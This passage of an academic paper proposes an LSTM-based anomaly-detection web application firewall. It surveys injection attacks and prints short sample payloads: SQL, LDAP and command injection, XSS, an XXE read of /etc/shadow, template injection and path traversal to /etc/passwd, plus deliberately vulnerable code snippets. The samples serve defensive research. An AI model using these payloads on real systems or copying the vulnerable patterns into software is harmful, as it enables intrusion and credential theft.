In the era of the Internet, cyber security has become the most important due to huge data leakages of both private and
confidential data belonging to users and companies. In particular, there has been a growth in the last 5 years in terms of data
breaches and exposed records (Statista, 2021). The sensitive data in corporate networks are mainly not accessible from the
Internet. The main point of contact of the criminals is the web servers that serve corporate applications to the end users
within the corporate network. The web servers that contain vulnerable components in the application or the server itself can
allow the criminals to get into the corporate network (Fortinet attack vector, 2021). The protection of web servers and a
corporate network is provided by a Demilitarized Zone (DMZ) (S. Young, 2021) which exposes an organization’s external-
facing resources to an untrusted network such as the Internet by implementing firewalls in front of the corporate network

and the Internet facing web servers.

According to a survey (Computer Fraud & Security, 2020), near half (43%) of the breaches (confirmed disclosure of information
to an unauthorized party) involved web applications. The survey categorizes bad actors responsible for breaches as 70% by
external actors and 55% of which are organized criminals. The remaining 30% are internal actors within the organizations.
Considering the 108,069 breaches, the industries with the most data breaches are Healthcare (521 breaches), Finance (448
breaches), Manufacturing (381 breaches), Information (360 breaches), Professional services (326 breaches) and Public

organizations (346 breaches).

The web application attacks cover everything from code-based vulnerabilities (Hacking-Exploit Vulnerability) to authentication-
related attacks (Hacking-Use of Stolen Credentials). The most widely abused vulnerabilities are SQL injection (SQLi) (OWASP
Sql injection, 2021) and PHP injection (OWASP Php code injection, 2021) vulnerabilities. These attacks are a fast and simple
way for an attacker to transform an exposed vulnerable application into a profit. The most commonly detected vulnerability
is however, cross-site scripting (XSS) (OWASP Cross site scripting, 2021), the infamous ding pop-up vulnerability. SQLi

attacks are half as common as XSS.

Security of a web application consists of secure architecture, data management, safe deployment and the securing of libraries
and external systems such as external databases and third-party components. It becomes difficult to manage multi-objective
tasks in organizations and generally Web Application Firewall (WAF) (OWASP Web application firewall, 2021) is preferred
to limit the risk of exploiting vulnerabilities existing in a web application. Even though it has benefits, there are difficulties
in configuration due to the covering of every aspect of the application and the constant adjustment of the rules (rule based)
in the case of scaling up the application or deploying multiple applications. One approach is to implement adaptive WAF
that can learn from legitimate web traffic (D. Patka & M. Zachara, 2011).

Effectiveness assessments for WAFs were made using 49 field experts involved in online surveys on 16 operational scenarios.
These experts’ judgments were combined with the conventional methods of R.M Cooke (1991). The results as seen in Table
1.1 indicate that if all the measures are taken, the median prevention rate of a WAF is up to 80%. If no measure is used, its
median prevention rate is 25% (M. E. Hannes Holm, 2013).

Table 1.1

Various WAF operational scenarios and the estimated possibility of preventing attacks with a certain degree of certainty (M. E. Hannes Holm, 2013)

Scenario Ope'ratf)r Black boyf tool Profes'sional Significanf Low (5%) Median (50%) High (95%)
monitoring for tuning tuning effort on tuning

1 Yes Yes Yes Yes 50 80 95

2 Yes Yes Yes No 30 60 70

3 Yes Yes No Yes 15 60 85

4 Yes Yes No No 10 50 70

5 Yes No Yes Yes 15 70 80

6 Yes No Yes No 5 50 60

7 Yes No No Yes 5 50 70

8 Yes No No No 5 30 60

9 No Yes Yes Yes 50 75 90

10 No Yes Yes No 35 60 75
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11 No Yes No Yes 15 50 80
12 No Yes No No 5 50 60
13 No No Yes Yes 15 60 80
14 No No Yes No 5 50 60
15 No No No Yes 5 50 75
16 No No No No 5 25 50

To make a WAF efficient, it is important to have the skill of individuals who tune a WAF, use an automated black box tuning
tool or make a manual effort. The presence of a monitoring operator has a minor positive impact on its efficiency.

Rule based web application firewalls provide security up to a point which might generate false negatives and needs an
adoption of the new rules bypass techniques that emerge for the attack techniques presented. Employing a deep learning
technique in detection and classification of such web application attacks is expected to provide more protection when new
attack techniques are applied. Achieving the adoption of deep learning will provide anomaly based novelty detection (M.
Markou & S. Singh, 2003a) (M. Markou & S. Singh, 2003b) which aims to detect previously unobserved patterns rather than
being rules based by using a model generated by benign and malicious web requests, employing a semi-supervised method.

Anomaly detection refers to the difficulty of identifying patterns in data that do not conform to expected behavior. These
patterns are known as anomalies, outliers, discordant data, exceptions or contaminants in various application fields. The
most common techniques are based on machine learning approaches, which use a training phase to investigate anomalies
in web traffic in order to model a system’s normal behavior. For example, an anomalous web traffic pattern may indicate an
attack or exploitation of vulnerability in an application (F. Valeur, at al., 2004).

Anomalies can be classified into three categories (R. Chalapathy & S. Chawla, 2019):

*  Point Anomalies: A point is labeled an anomaly when the data point is significantly different from other data
points. This category includes extreme values in a data-set.

*  Collective Anomalies: A group of linked items that are normal but when the items are combined it becomes
anomalous. Collective anomalies occur in time series sequences that depart from the conventional trend.

*  Contextual Anomalies: An anomaly is contextual when the instance is considered in a particular context and
otherwise it is normal. Context is often included as a supplementary variable and if there is a contextual attribute,
a point anomaly or a collective anomaly can be considered as a contextual anomaly.

Anomaly is defined as a divergence from the normal. However, developing a definition of normalcy that explains every
variant of a typical pattern is difficult. It is much more difficult to define anomalies. They rarely occur, and it is impossible
to anticipate every form of anomaly. Furthermore, the definition of anomalies changes depending on the application. Although
it is usually considered that anomalies and normal points are produced by different mechanisms (A. Singh, 2017).

Anomalies in many real-life applications signify major crashes that are both expensive and difficult to capture. Tolerance
levels are sufficient in some domains, and any value outside the threshold values might be flagged as an anomaly. Labeling
anomalies is a time-consuming operation in many circumstances, and human specialists who understand the fundamental

mechanism are necessary in pointing out anomalies (A. Singh, 2017).

The detection of anomalies in web applications using different techniques has difficulties depending on the high dimensional

data-set, the lack of a rich data-set pool for training, and complex user behaviors.

As an objective of the research, it is essential in the cyber security domain to detect anomalies that are unknown and not
presented within the dataset during the learning phase. In order to reduce the effort for updating rules and providing better
protection against web application attacks, a deep learning method is going to be implemented and evaluated. A semi-
supervised method will be adapted in order to identify if it is possible to detect unknown attack payloads using only a

restricted amount of training data. The training and testing data will include real attack payloads (Payloads all the things,
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2021) used by the attackers in addition to HTTP Dataset CSIC (C. Torrano-Gimnez at al, 2010). Also, the hyper-parameters’
impact will be measured in addition to finding optimized hyper-parameter values to have a higher success detection rate.

2. BACKGROUND

A specific formula is applied to a problem using most of the available techniques of anomaly detection. Different factors
such as the nature of the data, the available labeling data and the type of anomalies to be detected lead to the formulation.
Often the application domain, in which abnormalities are to be detected, determines these factors. In this case, the nature of

the injection attacks are basically a composition of character sequences that are interpreted as valid input by the web application.
2.1 Web Application Injection Attacks

Mainly, the aim is to detect and classify the main web application attacks (Owasp TOP10 web application security risk, 2021)
as:

SOQOL Injection (SQLiI): The attack consists of an insertion of an SQL query to the application that can result in the reading,
updating or insertion of data into the database. SQL injection attacks allow an attacker to impersonate someone else, alter
data or render it unusable in any way, and get administrative access to the database server (WASC, 2010). There are different
types of SQL injections:

*  Error-based: The database server’s error messages are used to gather database structure information.

*  Time-based Blind: It is based on submitting an SQL query to the database, which compels the database to wait
for a given period of time (in seconds) before answering. The attacker can tell from the time it takes for a response
whether or not the query’s result is true. HTTP responses can either be delayed or instantly returned based on the

outcome.

*  Boolean-based Blind: It’s based on submitting an SQL query to the database, and depending on whether the query
produces a true or false result; the application must provide a different response. The content of the HTTP response
may change or remain the same based on the outcome.

The different types of SQL injection attacks make use of different payloads (Portswigger Sql injection cheat sheet, 2021)
while testing/exploiting the vulnerability because the database vendors have different syntax for the same actions as seen in
Table 1.2. A well prepared attacker includes all different kind of payloads for the same action in a word-list while testing/

exploiting.
Table 1.2
SOL Syntax for Different Vendors
Database Vendor String . Comments Version Time delays
Concatenation
Oracle ’foo’||’bar’ —comment SELECT version FROM dbms_pipe.receive_message((’a’),10)
vS$instance
Microsoft *foo™+ bar’ —comment SELECT @@version WAITFOR DELAY *0:0:10°
/*comment*/

o i —comment .

PostgreSQL foo’||’bar e comment®/ SELECT version() SELECT pg_sleep(10)
o #comment .

MySQL foo _ comment SELECT @@pversion SELECT sleep(10)

Attackers make use of a malicious input list to the applications such as “ OR 1 = 1——""to return all the users’ data by bypassing
username restrictions. The Java code example below presents a vulnerable SQL statement usage by allowing the concatenation
of user provided malicious input to the query string, leading to a retrieval of the all users’ data by the attacker.
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String query = “SELECT account_balance FROM user _data

WHERE user_name = ““ + request.getParameter(“customerName”);

try {

Statement statement = connection.createStatement(...);
ResultSet results = statement.executeQuery(query);

/

LDAP Injection: The acronym LDAP (M.Wahl at al., 1997) (J.Hodges at al., 2002) stands for Lightweight Directory Access
Protocol. X.500-based directory services are accessible via this lightweight protocol, as the name suggests. TCP/IP or other
connection-oriented transfer services are used to execute LDAP across the network. Entries provide the foundation of the
LDAP information model. An entry is a set of attributes with a globally unique Distinguished Name (DN). The DN is used
to refer to the entry in a clear and unambiguous manner. A type and one or more values accompany each attribute on the
entry. The kinds are usually mnemonic strings, such as “cn” for common name or “mail” for email address. The syntax of
values is determined on the kind of attribute.

The injection of LDAP is a technique used to take advantage of web-based applications that generate LDAP statements based
on input from the user. When an application fails to properly sanitize user input, it is possible to change the LDAP search
filter. Standard boolean logic can be used in a search filter to acquire a list of persons who match a certain criteria. There is
a prefix notation used to describe search filters (OWASP Ldap injection, 2021).

(&(USER=Uname)(Password=Pwd))

Making “Uname=sezer)(&))” and putting any string value as the “Pwd” value, the following query is generated and sent to
the server-side.

(&(USER=sezer)(&))(Password=Pwd))

The LDAP server processes the query including the user supplied additional special characters. The query will always be
correct, allowing the attacker to gain access to the system without the password of the user (C. Alonso at al., 2009).

Cross-Site Scripting (XSS): Cross-site scripting is a kind of injection that places malicious scripts into trusted websites.
XSS attacks occur when an assailant utilizes a web application to communicate malicious code to another end user, usually
through browser-side scripts. Defects allow such attacks to happen frequently and arise where the web app takes user input
without verifying or encoding it inside the output it generates (OWASP Cross site scripting, 2021). There are different types
of XSS Attacks (Portswigger Cross site scripting, 2021):

*  DOM Based: It commonly comes with JavaScript taking data from an attacker-controllable source, such as the
URL, and passing it over to a sink supporting the execution of dynamic code, like eval() and innerHTML. This
allows attackers to run JavaScript that is harmful and normally captures the accounts of other users.

*  Reflected: It occurs when an application receives data on an HTTP application and contains these data in an unsafe
manner. If another user asks URL of the attacker, the script that the attacker supplies will be executed in the
browser of a victim user in the context of the application’s session.

*  Persistent (Second-order or Stored XSS): It arises when a request obtains data from a non-trusted source and it

stores that information in an unsafe manner in its subsequent HTTP answers.
A simple example of XSS vulnerability is given here:
https://insecure.com/form?name=Sezer

<p>Name : Sezer</p>
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The application does not process the data any other way, so that an attacker can easily build such an attack:
https://insecure.com/form?name=<script>/+inject+code...+/</script>
<p>Name.<script>/+inject+code...+/</script></p>

The XSS vulnerabilities can easily be prevented by combining the following measures: filtering input when supplied, encoding

data on output, implementing Content Security Policy (CSP) in response headers.

OS Command Injection: 1t is a method of attack used to initiate the illegal execution of commands in the operating system.
This is the direct outcome of mixing reliable code with unreliable data. An attack is feasible if an application accepts untrusted
input to create commands in the operating system in an unsafe manner that involves poor data sanitization and/or an incorrect
calling of external programs. When an attacker executes instructions in the OS command injection, it will execute with the
same privileges as the component executing it (e.g. wrapper, application, database server, web server, web application server)
(WASC Os command injection, 2009). There are two or more subtypes of injection of OS commands (CWE, 2006):

1. The application aims to run a single, fixed, controlled program. The inputs received from outside will be used

as arguments for only this program.

2. The app accepts an input to completely pick the program you are running and what commands you are using.
This whole command is simply transferred to the operating system by the application.

As an example to the program that allows to run other applications via user supplied input is given below.

public string cmdExecution (String id){

try {

Runtime rt = Runtime.getRuntime();

rt.exec(“cmd.exe /C_LicenseChecker.exe™+” —ID *“ + id);

/
catch (Exceptione){//...}

/

According to the given code snippet above, cmd.exe is an application which parses and analyzes the arguments and also calls
other external apps allowing an attacker to call external programs. If an attacker supplies the value of an ID as ID121412 &
hostname, then a hostname command may also be executed on the target computer with the privileges of a susceptible user.

XML External Entities (XXE): XXE attacks occur if an XML-based parser unsuccessfully processes user input that
comprises a statement of an external entity in an XML payload type. This external entity may include additional information
that enables an attacker to view sensitive information on the system or to carry out other more severe operations (SANS
Exploiting XXE vulnerabilities, 2017).

<?xml version="1.0" encoding="1SO—8859—1"7?>
<!DOCTYPE test[

<IELEMENT test ANY >

<!ENTITY fieldname SYSTEM *file:///etc /shadow”>]>
<test>&fieldname,</test>

Simply put, the input above is provided to a misconfigured XML-based parser. The execution steps of the attack can be
followed as:
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1. Place the XML payload, pointing the system to load DTD files from the server.

2. To retrieve DTD contents, the XML parser accesses to the designated URI.

3. The DTD is loaded into the pre-processing of the original XML payload by the XML parser.
4. The Server loads the file.

5. The loaded file is sent to the attacker

The suggested mitigation method is used to disable external entity processes from the relevant XML-parser library. Since
there are dozens of different XML-parser libraries, a corresponding solution should be applied.

Server Side Template Injection: Server-side template technologies (Jinja2, Twig, FreeMaker) are extensively used in web
applications to generate dynamic HTML responses. SSTI happens when user input is inserted in a template in an unsafe
manner, resulting in a remote code execution in the server. Template injection can occur as a result of both developer error
and the intentional disclosure of templates in an attempt to provide rich functionality, as wikis, blogs, marketing apps, and
content management systems frequently do.

The Flask and Jinja2 template engines are used in the following example. The profile function accepts a ’city’ parameter
from an HTTP GET request and returns an HTML response with the following name variable content:

@app.route («/profiley)
def page ():
city=request.values.get(‘city’)
output=Jinja2.from_string(‘Welcome+city+’!’).render()

return output

This code snippet above is vulnerable to SSTI by supplying a payload in the city parameter. When a user visits the “http:/
test-site.com/profile?city={{11*11}}”, the application will return as “Welcome 121!”, meaning that the provided values are
calculated and returned to the user. When the vulnerability is inspected further, it is also possible to attack directly web
servers’ internals and subsequently execute arbitrary commands on the server (OWASP Server-side template injection, 2021).

Path Traversal: Path traversal (also known as file directory traversal) is a type of HTTP attack that allows attackers to gain
access to restricted directories outside of the web server’s root directory. In some situations, an attacker may be able to write
to arbitrary files in the server, allowing them to change application data or behavior and eventually gain complete control
of the server (Acunetix Path traversal, 2021).

As an example for the attack, the “loadIlmage” URL accepts a “filename” as an input and returns the contents of that file.
The image files are saved on disk in the directory ‘/var/www/images/.” When an attacker visits “https://test.com/
loadImage?filename=...../../etc/passwd”, the web server will treat the input as “/var/www/images/../...../etc/passwd”.

The sequence ../ is a valid file path, and means to look one level up in the directory structure. The three consecutive ../
sequences step up from /var/www/images/ to the filesystem root, and so the file that is actually read is “/etc/passwd”
(Portswigger Path traversal, 2021).

All the attacks explained are examples of injection attacks and they follow a specific input pattern and special characters.
Since the sequence of the characters is important and it defines the problem as a sequential data problem (A. Graves, 2012),
the identification of sequence which cause anomalies is mainly categorized and implemented based on the following learning

techniques.
2.2 Supervised Anomaly Detection

Supervised anomaly detection learns the distinct boundary of a set of labeled data instances (training) and classifies a test
in either normal or abnormal classes according to the learned model (testing). Mainly, a feature extraction network followed

Acta Infologica 225



‘Web Application Firewall Based on Anomaly Detection using Deep Learning

by a classifier network is adopted within multi-class anomaly detection in order to classify the anomalous class from the rest
of the classes (A. Shilton, at al., 2013) (V. Jumutc & J. A. Suykens, 2014) (S. Erfani at al., 2017). Multi-class deep learning
models need a significant number (thousands or millions) of training samples to learn the features that distinguish different

classes effectively.

Similarly, the training phase of the Locate-Then-Detect (LTD) approach (T. Liu, at al, 2019) is time consuming and requires
a large amount of labeled data. It employs two modules to find payloads within the requests/posts and classify the payload
in the request to recognize the web attack. The Hidden Markov Model for anomaly detection is proposed to detect only SQLi
and XSS attack types. The LTD method has the same perfect 100% precision as the Libinjection (N. Galbreath, 2012), while
the LTD has a much higher recall than the Libinjection. In term of the F1-score, the LTD method outperforms the libinjection
and RWAF (a rule based commercial WAF).

An autoencoder LSTM (S. Hochreiter & J. Schmidhuber, 1997) model with sequence to sequence architecture is used to
detect and classify malicious web requests such as OS Command, Path Traversal, SQLi, X-Path Injection, LDAP Injection,
SSI, and XSS. The approach covers most of the injection attacks as opposed to LTD research. The test results show that the
proposed model can detect attacks with a low false positive rate with a true positive rate of 1 by web applications. The
proposed classification engine is not 100% accurate due to a lower volume of labeled categorized anomalous dataset (T.
Alma, M. L. Das, 2020). As an alternative approach, I. Kotenko et al. (2021) employed 2 LSTM encoder layer and 2 LSTM
decoder layer with one hidden LSTM layer for their approach. However, it is not clear which kind of web attack types are
tested or how many different WAF bypass payloads are detected and are not given as result.

N. Montes at al. (2018) employed two approaches; firstly a multi-class approach for the scenario when valid data and attack
data is available; and secondly a one-class solution when only valid data is at hand. Random forest, KNN-3, and SVM models
are used as classifiers, and their success is assessed. The fact that the multi-class paradigm produced high performance scores
suggests that if valid examples of valid requests and attacks are provided, the classification problem is not overly difficult.
However, in the second case, using only attack traffic collected from attacks to other applications requires an attack training
dataset that covers all possible attacks to the given application and results in a poor performance compared to the former
case. The third approach, one class classification, which constructs a detection model using only valid requests, is quite
promising. The outcomes outperform those achieved with the traditional rule-based ModSecurity system. If only valid
requests are at hand, the results of this scenario show that a one-class solution provides many operational points that outperform
ModSecurity rule based detection using a one-class classifier that aggregates target class samples into clusters and then
utilizes the distance to these clusters as a measure of anomaly; samples distant from the clusters are categorized as abnormalities.
However, N. Montes at al. (2021) treated the problem as a one-class supervised case and built a feature extractor using deep
learning techniques. A deep pre-trained Robustly Optimization Bidirectional Encoder Representations from Transformers
architecture (RoBERTa) (Y. Liu, 2019) allows the modeling of sequential data which is an alternative to recurrent neural
networks (RNN) and is capable of capturing long range dependencies in sequential data using only normal HTTP requests
to the web application. Once the feature vector containing numeric values of tokens are produced using ROBERTa, One-Class
Support Vector Machine (OCSVM) is applied to discriminate a normal trace from attacks. The model outperforms ModSecurity
using the most widely adopted rules with the advantage of not requiring the participation of a security expert to define the

features.

Anomaly detection for finding vulnerabilities in applications also investigated at source code level (white box approach).
Code gadgets that semantically relate program statements in terms of data dependency using the BLSTM approach (Z. Li et
al., 2018) show a success rate of more than 85% for a score of F1, and up to 95% for finding buffer errors and resource
management vulnerabilities. Analysis of AST and binary trees using RtNN and RvNN methods give different precision
results for different systems in the detection of clone code within the software. File-level precision for AST-based analysis
variates from 47% up to 100% for different systems (M. White, at al., 2016).
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2.3 Semi-Supervised Anomaly Detection

Semi-supervised anomaly detection methods assume that the training instances contain only a small amount of unlabeled
instances while training models, which is easily applied to a one-class classification problems.. The test instance which is
not in the majority class is considered to be anomalous in this approach. Employing this approach, byte frequencies (A. Oza,
at al., 2014) of HTTP requests with n-grams of bytes in HTTP packets captured on the network level is compared to the
model by computing a y2 statistic. The statistic is calculated between the observed n-gram distribution of unknown packets
and the predicted benign traffic frequency distribution using multiple data sets for training. The technique claims that it
works much better with smaller n-grams than the HMM-method (D. Ariu, at al., 2011). Two-gram and 1-gram based methods
for feature extraction from HTTP requests provide a robust construction of features. Then they are fed into the SAE which
consists of multiple layers of auto-encoders and DPN (S. S. Kashi, 2019), and is used to determine if a new observation
belongs to the same distribution as existing observations (normal) or should be treated as distinct (abnormal). The detection
rate is around 80% for 4 different datasets. The real-time detection may not be possible since it is slow and might cause a
bottleneck. However, G. Betarte et al. (2018) states that 1-gram and 2-grams are vulnerable to mimicry attacks in which the
attacker carefully adds characters in order to get closer to the expected n-gram distribution. Three-gram is suggested as
optimal where several n-gram analyses and a fine grain parsing of the HTTP request prevents mimicry attacks and keeps a

relative low value for optimal n.

The combination of neural networks and iterative DBN (ladder network) (M. Nadeem, at al., 2016) achieves similar results
compared to supervised methods and only requires a limited number of examples in the detection of network intrusions. It
does not work well in real-time, but it can still be practical for forensic investigation. More specifically, web intrusion detection
with an adaptive learning technique to find anomalies in query strings appended to URL provides an up-to-date detection
model. SVM HYBRID (Y. Dong et al., 2018) uses the most prominent (suspicion) queries as well as the most representative
(sample) malicious queries from unknown queries. The method tested in a real-world web application environment uses a
ten-day query data set and leads current web attack detection methods to the maximum F-value of 94.79% and the lower
FP-rate of 0.09%. However, the method is only valid if the web application accepts user supplied data as a string query in
the application URL. The performance of detecting malicious payloads within JSON or XML data remains unknown.

However, N. Gornitz, at al. (2013) proposed a way of incorporating labeled data using an active learning strategy in
generalization of support data description by including domain experts into the labeling process. Even with a small amount
of labeled data, it performs a highly accurate level of detection using test data sets and real-world implementation. Providing
detailed feedback to the system (N. Ben-Asher & C. Gonzalez, 2015) by the domain experts during the training phase
increases the detection rate of day-zero attacks and decreases the rate of false alarms. However, later in the paper, the survey
shows that the presence of a monitoring operator has a minor positive impact on overall WAF efficiency in large time intervals.

J. Liang et al. (2017) use normal requests to train LSTM using CSIC and manually gathered WAF logs that contain SQLI,
XSS and several types of attacks and classify the output with a supervised trained Multi Layer Perceptron. The payloads are
decomposed into word embeddings and fed into a LSTM model and then the MLP classifies whether it is a normal request
or not. The model has its limitations. The model cannot handle some kinds of long URLs very well and misclassifies them.
The LSTM approach achieves 0.984 accuracy on CSIC dataset, and outperforms ModSecurity with CRS, X-means, Naive
bayes, SOM and C4.5 methods.

Semi supervised Generative Adversarial Networks (GANs), have proven to be quite successful, with relatively few data with
labels. Using labeled data (typically in one class), a significant improvement in performance over unsupervised methods can
occur. Even in a deep learning environment, the same limitations of semi-supervised approaches apply. In addition, the
hierarchical features recovered in hidden layers may not represent fewer anomalous events and are therefore prone to the
problem of over-fitting (R. Chalapathy & S. Chawla, 2019).
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2.4 Unsupervised Anomaly Detection

Unsupervised anomaly detection methods assume that the training instances do not contain labeled instances in training
models. The method identifies hidden patterns or determines how data is dispersed in space known as density estimation
(D. Durstewitz, 2017).

Unsupervised Learning is subdivided into two types (B. Mirkin, 2005):

*  Parametric Unsupervised Learning: It is assumed that the sample data originates from a population with a defined
set of parameters and a probability distribution.

*  Non-parametric Unsupervised Learning: The data is organized into clusters, with each cluster indicating something
about the data’s categories and classes. This technique is frequently used to model and interpret data with tiny

sample sizes.

One of the implementations (A. Juvonen, at al., 2015) of unsupervised learning into real-time anomaly detection using
collected logs from different web servers as training data uses PCA (S Wold, at al., 1987) and diffusion map methods (A.
Singer & H. Wu, 2011) with n-gram feature extraction. Even though the techniques provide a successful categorization and
anomaly detection, it the performance for large amount of data and the scaling performance are unknown.

Variational Auto-Encoder (VAE) which is a Bayesian network employed to accurately detect KPIs (e.g., Page Views, number
of online users, and number of orders) in web application (H. Xu et al., 2018). In contrast to conventional understanding, it
requires training of both regular and abnormal data. For the analyzed KPIs from a leading global internet corporation, the
F-scores of the unsupervised technique vary from 0.75 to 0.9. However, the detection threshold is not defined clearly. This

is also a somewhat hard challenge, particularly in the unsupervised case.

Y. Pan et al. (2019) generated unlabeled call graph data using Robust Software Modeling Tool (RMST) and the generated
data given to stacked a denoising auto-encoder model to train unlabeled traces. The auto-encoder learns an embedded low-
dimensional subspace capable of representing regular requests with a low reconstruction error. Then optionally, a small
amount of labeled normal instances can be fed into a semi-supervised learning step. Without half-supervised learning, the
highest reconstruction error is recorded and the threshold value is established by an adjustable percentage that is higher than
this number. The higher reconstructions error for unlabelled training data is recorded in the absence of semi-supervised
learning and the threshold is set to a configurable percentage greater than that maximum value. The adjustment for optimal
results while utilizing auto-encoders to choose the correct degree of compression is a hyper-parameter named duration
reduction. Unsupervised procedures are highly vulnerable to noise and data corruption and are typically less precise than
supervised or semi-supervised procedures (R. Chalapathy & S. Chawla, 2019).

The deep learning architectures advised to use for sequence problems are mainly RNN and LSTM based architectures (D.
Jurafsky & J. H. Martin, 2020). RNNs are referred to as simple and more constrained networks within this research, although
it means any network with recurrent properties by general. Mainly, RNNs must figure out which prior inputs must be saved
in order to produce the required output at the moment. To build up a sufficient input store, gradient-based learning methods
require the present error signal to “flow back in time” across the feedback links to previous inputs. When the gradient
becomes less and smaller, the parameter changes become trivial, implying that no meaningful learning occurs (S. Hochreiter,
1998). The vanishing gradient problem is resolved (Y. Hu, at al., 1998) in GRU and LSTM which are also RNN networks
with additional features. GRU networks perform well if the data sequence is not complex and not very large. However, LSTM
networks outperform them in complex data and long strings, therefore they are suitable for language modeling and complex
sequence modeling (R. Cahuantzi, at al., 2021).

Similarly, A. Moradi Vartouni et al. (2019) make use of 2-gram with the AE-LSTM method and then detect attacks with an
ensemble isolation forest. As an alternative, the extraction one-hot features with the AE-LSTM and reduction features with
a stack auto-encoder and then detects attacks with the ensemble isolation forest. Two-gram with the AE-LSTM approach
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performs a 69.88 F-1 score using ECML/ PKDD 2007 dataset where one-hot with the AE-LSTM-SAE produces a 33.15 F1
score. The result using a CSIC 2010 dataset shows an exact opposite F1 score performance; 2-gram with AE-LSTM produces
68.98 and one-hot with AE-LSTM-SAE produces an 81.96 F1 score. The results show that binary one-hot attributes are not

suitable for extracting meaningful features which have non-linear relations between them.

The supervised methods have been more accurate than semi-supervised and unsupervised models. Also, the classification
based testing phase is fast since every test case should be compared with the precomputed model. Multiple-class supervised
approaches, however, require precise labeling, typically unavailable for multiple normal and anomalous classes. If the feature
space is exceedingly complicated and non-linear, the deep supervised technologies do not differentiate normal from abnormal
data (R. Chalapathy & S. Chawla, 2019).

However, unsupervised and semi-supervised approaches are appropriate for anomaly based detection, since the aim to detect
anomalies which are dominant, will not be presented in the training data. In order to detect such anomalies in real life events,
we should use a small amount of training data and capture all known malicious inputs as well as novel malicious character
sequences. The key drawbacks of unsupervised deep anomaly detection algorithms are that it is difficult to uncover
commonalities within data in a complex and wide area. Unsupervised techniques are more susceptible to noise and data
corruption, and thus are usually less exact than supervised or semi-supervised procedures (R. Chalapathy & S. Chawla,
2019).

The major findings presented outline the basis of the work and methodology which is going to include implementation details
and architecture of the approach. A semi-supervised method is adopted using LSTM network architecture as a deep learning
model to detect anomalies.

3. METHODOLOGY

This topic goes through the procedures involved in detecting malicious input in depth. As the main purpose is to detect an
anomalous web request, the evaluation of the parameter values (Step 4 in Fig 3.1) is the target of the research. The incoming
web request will be parsed and sent through the DL network for the decision whether the input values contain any anomalous
input or not. Considering the output of the DL network, the request will be dropped with a proper message to the user or it

will be transmitted to the web application.
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@ | I< ! > I Request Parser
< > Evaluate Parameter Values

Figure 3.1. The Flow of Web Request and Intercepting Anomalies Which Are Detected By DL Model

The detailed explanation for each step is given as:
1. User submits a HTTP web request (GET or POST)

2. The HTTP web request is parsed and all parameters are extracted including parameters in HTTP body.
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3. Each of the values given in the parameters is supplied into the DL network to analyze whether it is anomalous or not.

4. If all the parameters in the request are benign, then the WAF redirects the HTTP request to the web application as
Step 5. However, if any of the values are detected and labeled as anomalous, the request is dropped and the flow
jumps to Step 7. In that way, the anomalous request will never reach the web application.

5. The web application process the HTTP request as intended.
6. The web application returns the HTTP response to the WAF.
7. The WAF returns the HTTP response to the user.

The DL network that evaluates the input values contains character sequence based structure by elaborating a word embedding
and an LSTM network.

3.1. CHARACTER EMBEDDING

Word embedding (M. Arora & V. Kansal, 2019) is a natural language processing concept in which words are mapped to
real-number vectors. Words that appear in comparable contexts have similar vector representations and the geometric distances
between them show the degree of their connection. Word2vec (T. Mikolov, at al., 2013), is a well-known word-based model
and allows for indirect inference of situations in which a particular word appears. Word2vec does not handle subword
information such as characters. Some subword embedding models have been created to highlight the uniqueness of this
information. The user input is broken down into characters and converted to integer vector. Since the integer vector creates

high dimensional data, it is better to use an embedding layer to convert lower dimensional vector space.
Plain-text Payload: .\.\etc\ passwd;index.html
Integer Vector of the payload: [ 7, 7, 28, 7, 7, 28, 3, 14, 4, 28, 24, 6, 11, 11, 26, 16, 57, 12, 17, 16, 3, 31, 7, 36, 14, 29, 22]
Example of embedding of the payload (3 x 9 Matrix):

[7,7,28,7,7,28,3,14, 4,

28,24,6,11,11,26,16,57,12,

17,16,3,31,7,36, 14,29, 22]
3.2 HYPER-PARAMETER

Hyper-parameters are parameters that cannot be changed while machine learning is being trained. They can be engaged in
defining the model training’s accuracy and efficiency, such as the learning rate of stochastic gradient descent, the number
of hidden layers, batch size, optimizers, and the activation function (T. Yu & H. Zhu, 2020).

e The number of Hidden Layers: The layers that exist between the input and output layers. This underlying deep
learning network is not transparent and humans are unable to track the value changes happening throughout the
layer.

*  Dropouts: It helps to minimize over-fitting during the model training phase by bypassing randomly chosen neurons,
lowering the sensitivity to particular weights of individual neurons. The layers can be utilized with input layers
but not with output layers since they can mess up the model’s output and error computation.

*  Activation Function: Activation functions determine whether a node’s output is used or not. These functions are

used to add non-linearity into models so that deep learning models can learn non-linear predictions.

* Learning Rate: It specifies how frequently the network’s parameters are updated. Choosing a greater learning rate
speeds up the learning process, but the model may fail to converge or even diverge. A smaller rate, on the other
hand, will significantly slow down learning but will allow the model to gradually converge.
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*  Number of Epoch: It specifies how many full repetitions of the dataset will be performed. The epoch number can
potentially be adjusted to any integer in the interval of one and infinity. It is preferable to use the early stopping
technique, which involves first specifying large epoch numbers and then halting training when the model performance

stops improving by a previously set threshold.

»  Batch Size: It specifies the amount of samples to be processed before updating the model’s internal parameters.

For the same amount of samples processed, larger sizes result in larger gradient steps than smaller ones.

The hyper-parameter values are dependent on the deep learning models and architecture. There is no correct value that works
for every model, each value should be optimized based on the needs and learning performance.

3.3 LONG TERM-SHORT TERM MEMORY (LSTM)

Recurrent back-propagation takes a very long time when learning by storing information over extended time periods, mainly
because of decaying error back flow (S. Hochreiter, 1991). Long Short-Term Memory (LSTM), a gradient-based approach,
can learn to bridge minimum time gaps by ensuring constant error flow within particular units to overcome the decaying
problem. A conventional LSTM (S. Hochreiter & J. Schmidhuber, 1997) unit is composed of three main nodes connected in

a special way as seen in Fig 3.2 and the nodes are:

Constant error carousel (CEC): It is maintains internal activation (state) with a fixed weight 1.0. The state serves as a

memory for previous information.

Input Gate: It is a multiplicative gate that was created to safeguard the memory contents stored in an internal state from

being affected by irrelative inputs.

Output Gate: It is a multiplicative gate that was created to safeguard other units from being disrupted by a currently

irrelative internal state held in the CEC.
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Figure 3.2. The Conventional LSTM (Y. Yu, at al., 2019)

ii=o(W.h_+W x+b) 3.1

e, =tanh(W_ h_ +W.,_ x +b.) 3.2)
c=c_ ti ¢ (3.3)
o=coW.,h_ +W x+b) (3.4)

h = o, - tanh(c) 3.5)

Considering the given formulas (Y. Yu, at al., 2019), ¢ represents the LSTM cell state. The weights are Wi, Wc, and Wo, and
the “”” operator represents the point-wise multiplication of two vectors. Whenever the cell state (equation 3.3) is updated, the
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input gate (equation 3.1) determines new information to be stored in the cell state, and the output gate (equation 3.10) determines
information to be produced (Y. Yu, at al., 2019).

Access to the CEC (internal cell state) is regulated by the input and output gates. The input gate acquires knowledge of when
